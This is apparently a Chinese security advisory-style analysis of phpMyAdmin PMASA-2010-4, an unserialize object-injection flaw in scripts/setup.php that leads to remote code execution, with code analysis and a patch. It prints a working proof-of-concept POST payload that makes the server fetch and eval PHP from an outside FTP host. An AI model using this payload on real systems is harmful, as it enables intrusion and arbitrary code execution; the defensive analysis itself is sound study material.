phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

对这个漏洞简单的概括如下

1. "/scripts/setup.php"会接收用户发送的序列化POST数据
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D
/*
token要动态获取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/

2. "/scripts/setup.php"会对"$_POST[‘configuration‘]"进行反序列化
setup.php在反序列化的时候，程序未对输入的原始数据进行有效地恶意检测

3. 黑客可以在POST数据中注入"序列化后的PMA_Config对象"
setup.php在反序列化一个"序列化后的PMA_Config对象"的时候，会对这个对象进行"重新初始化"，即再次调用它的构造函数
function __construct($source = null)
{
    $this->settings = array();

    // functions need to refresh in case of config file changed goes in
    // PMA_Config::load()
    $this->load($source);

    // other settings, independant from config file, comes in
    $this->checkSystem();

    $this->checkIsHttps();
}

4. PMA_Config对象的构造函数会重新引入"$source"对应的配置文件，使用eval执行的方式将配置文件中的变量"本地变量注册化"
function load($source = null)
{
    $this->loadDefaults();

    if (null !== $source) {
        $this->setSource($source);
    }

    if (! $this->checkConfigSource()) {
        return false;
    }

    $cfg = array();

    /**
     * Parses the configuration file
     */
    $old_error_reporting = error_reporting(0);
    //使用eval方式引入外部的配置文件
    if (function_exists(‘file_get_contents‘))
    {
        $eval_result = eval(‘?>‘ . trim(file_get_contents($this->getSource())));
    }
    else
    {
        $eval_result =
        eval(‘?>‘ . trim(implode("\n", file($this->getSource()))));
    }
    error_reporting($old_error_reporting);

    if ($eval_result === false) {
        $this->error_config_file = true;
    } else  {
        $this->error_config_file = false;
        $this->source_mtime = filemtime($this->getSource());
    }
    ...

最终的结果是，程序代码引入了黑客注入的外部文件的PHP代码，并使用eval进行了执行，导致RCE

Relevant Link:

http://php.net/manual/zh/function.unserialize.php
http://drops.wooyun.org/papers/596
http://drops.wooyun.org/tips/3909
http://blog.csdn.net/cnbird2008/article/details/7491216

2. 漏洞触发条件

0x1: POC

1. POST
http://localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php

2. DATA
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D
/*
source要是一个外部的文本文件，需要返回的是原生的PHP代码
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/

3. 漏洞影响范围

1. phpmyadmin 2.10
2. <= phpmyadmin 2.10

4. 漏洞代码分析

0x1: "/scripts/setup.php"

if (isset($_POST[‘configuration‘]) && $action != ‘clear‘ )
{
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST[‘configuration‘]);
}
else
{
    // Start with empty configuration
    $configuration = array();
}

漏洞的根源在于程序信任了用户发送的外部数据，直接进行本地序列化，从而导致"对象注入"，关于对象注入的WEBSHELL方式，请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/3522990.html
搜索：0x22: PHP的序列化、反序列化特性布置后门 

5. 防御方法

0x1: Apply Patch

if (!isset($_SESSION[‘configuration‘]) || $action == ‘clear‘)
{
    // Create empty configuration
    $_SESSION[‘configuration‘] = array();
}

将原本的反序列化改为显式的数组声明

6. 攻防思考

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